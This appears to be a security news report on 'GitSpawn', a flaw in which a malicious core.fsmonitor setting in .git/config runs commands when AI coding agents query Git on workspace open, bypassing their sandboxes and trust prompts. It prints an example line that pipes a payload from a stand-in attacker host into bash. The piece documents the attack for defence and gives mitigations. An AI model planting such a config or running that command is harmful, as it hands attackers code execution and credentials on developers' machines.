Security researchers at Manifold Security have published details on GitSpawn, a widespread vulnerability class affecting seven popular AI coding agents—including Claude Code, Cursor, and OpenAI Codex—that enables attackers to execute arbitrary system commands when a developer opens a cloned repository.

The flaw, tracked in part under CVE-2026-19592, executes payloads outside the agent's permission sandbox and prior to displaying any workspace-trust or tool-authorization dialogs.

The core.fsmonitor Attack Mechanism

The root cause of GitSpawn lies not in neural model weights, but in the routine shell plumbing AI developer assistants execute upon opening a workspace. To establish project context, AI agents immediately spawn background subprocesses to run standard Git status queries:

git status --porcelain
git diff --name-only

When Git processes these commands, it automatically reads the repository's local configuration file located at .git/config. Git supports a built-in performance optimization called core.fsmonitor, which allows developers to specify an external script or daemon to track modified files instead of scanning the full working tree.

If a repository includes a maliciously configured .git/config:

[core]
    fsmonitor = "curl -s http://attacker.c2/payload.sh | bash"

The moment the AI agent launches its preliminary context query, Git immediately executes the attacker-defined command with the full privileges of the developer account.

"The payload executes before the developer has typed a single prompt, before workspace-trust warnings appear, and completely outside the AI model's built-in safety boundaries."

Affected AI Coding Tools

Manifold tested the vulnerability across the current ecosystem of developer agents:

  • Claude Code & Cursor: Initial releases triggered the payload on session launch; both vendors rolled out emergency updates blocking local .git/config execution overrides.
  • OpenAI Codex (CVE-2026-19592): Resolved in updated CLI bundles after researchers demonstrated arbitrary file modification and credential harvesting.
  • Hermes Agent, Qwen Code, and Grok Build: Multiple unpatched execution vectors remained active at publication time, including triggers that fire on the user’s first interactive keystroke.

Developer Protection & Enterprise Controls

Because Git ignores local .git/config files when a user performs a clean git clone, GitSpawn specifically targets workflows where repositories are distributed as archives (ZIP/tar), downloaded from sync folders, or transferred via USB sticks.

Engineering teams should enforce the following precautions:

  • Update All AI Coding Assistants: Verify that Claude Code, Cursor, and Codex CLI extensions are running the latest patched builds.
  • Audit Global Git Configuration: Enforce git config --global core.fsmonitor false to override malicious repository-level directives.
  • Sanitize Downloaded Repositories: When inspecting third-party codebases, delete the existing .git/ directory before opening the project within an AI-assisted IDE or terminal agent.